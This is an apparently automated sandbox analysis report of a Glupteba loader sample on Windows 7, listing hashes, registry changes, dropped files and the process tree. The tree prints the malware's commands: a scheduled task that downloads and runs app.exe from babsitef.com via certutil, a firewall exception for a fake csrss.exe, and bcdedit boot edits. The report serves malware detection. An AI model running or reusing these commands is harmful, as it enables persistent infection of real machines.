glupteba | e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76

Analysis

max time kernel
200s
max time network
210s
platform
windows7_x64
resource
win7-20220414-en
submitted
12-05-2022 11:41

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General

Target

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Size

3.9MB
MD5

36b916eede950172b262c888b1e82a72
SHA1

7cacba9f2eaff7584cf6c06c8f5b23853e77cc79
SHA256

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76
SHA512

ffddad17c0879e317b09e72482710e10d72d4b6aae948661d43a34488e4f1ef098b84292da6ef8eb62dbdaa4327f53fbde9ed5eb8c2ac9087cb1cf8de5332115

Score

10^/10

glupteba dropper evasion loader

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 5 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1968-56-0x0000000007020000-0x000000000771C000-memory.dmp	family_glupteba
behavioral1/memory/1968-57-0x0000000000400000-0x000000000515F000-memory.dmp	family_glupteba
behavioral1/memory/1308-62-0x0000000000400000-0x000000000515F000-memory.dmp	family_glupteba
behavioral1/memory/844-70-0x0000000006F10000-0x000000000760C000-memory.dmp	family_glupteba
behavioral1/memory/844-71-0x0000000000400000-0x000000000515F000-memory.dmp	family_glupteba

Modifies boot configuration data using bcdedit 3 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exe

pid process

1616 bcdedit.exe
1728 bcdedit.exe
1716 bcdedit.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1700 schtasks.exe
1544 schtasks.exe

pid	process
1616	bcdedit.exe
1728	bcdedit.exe
1716	bcdedit.exe

pid	process
1700	schtasks.exe
1544	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exee8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

pid	process
1968	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
1308	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

description	pid	process
Token: SeDebugPrivilege	1968	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
Token: SeImpersonatePrivilege	1968	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.execmd.exe

description	pid	process	target process
PID 1308 wrote to memory of 1428	1308	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	cmd.exe
PID 1308 wrote to memory of 1428	1308	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	cmd.exe
PID 1308 wrote to memory of 1428	1308	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	cmd.exe
PID 1308 wrote to memory of 1428	1308	e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe	cmd.exe
PID 1428 wrote to memory of 1856	1428	cmd.exe	netsh.exe
PID 1428 wrote to memory of 1856	1428	cmd.exe	netsh.exe
PID 1428 wrote to memory of 1856	1428	cmd.exe	netsh.exe

C:\Users\Admin\AppData\Local\Temp\e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
"C:\Users\Admin\AppData\Local\Temp\e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1968

C:\Users\Admin\AppData\Local\Temp\e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe
"C:\Users\Admin\AppData\Local\Temp\e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76.exe"
2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1308

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1428

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies data under HKEY_USERS
PID:1856

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
PID:844

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1700

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1544

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
PID:592

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:1616

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1728

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1716

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220512140138.log C:\Windows\Logs\CBS\CbsPersist_20220512140138.cab
1⤵
PID:1420

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
36b916eede950172b262c888b1e82a72

SHA1
7cacba9f2eaff7584cf6c06c8f5b23853e77cc79

SHA256
e8145c7ef0e67b08204c5c832c116410e47d0cb47c479c27582c10619fcc2b76

SHA512
ffddad17c0879e317b09e72482710e10d72d4b6aae948661d43a34488e4f1ef098b84292da6ef8eb62dbdaa4327f53fbde9ed5eb8c2ac9087cb1cf8de5332115

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

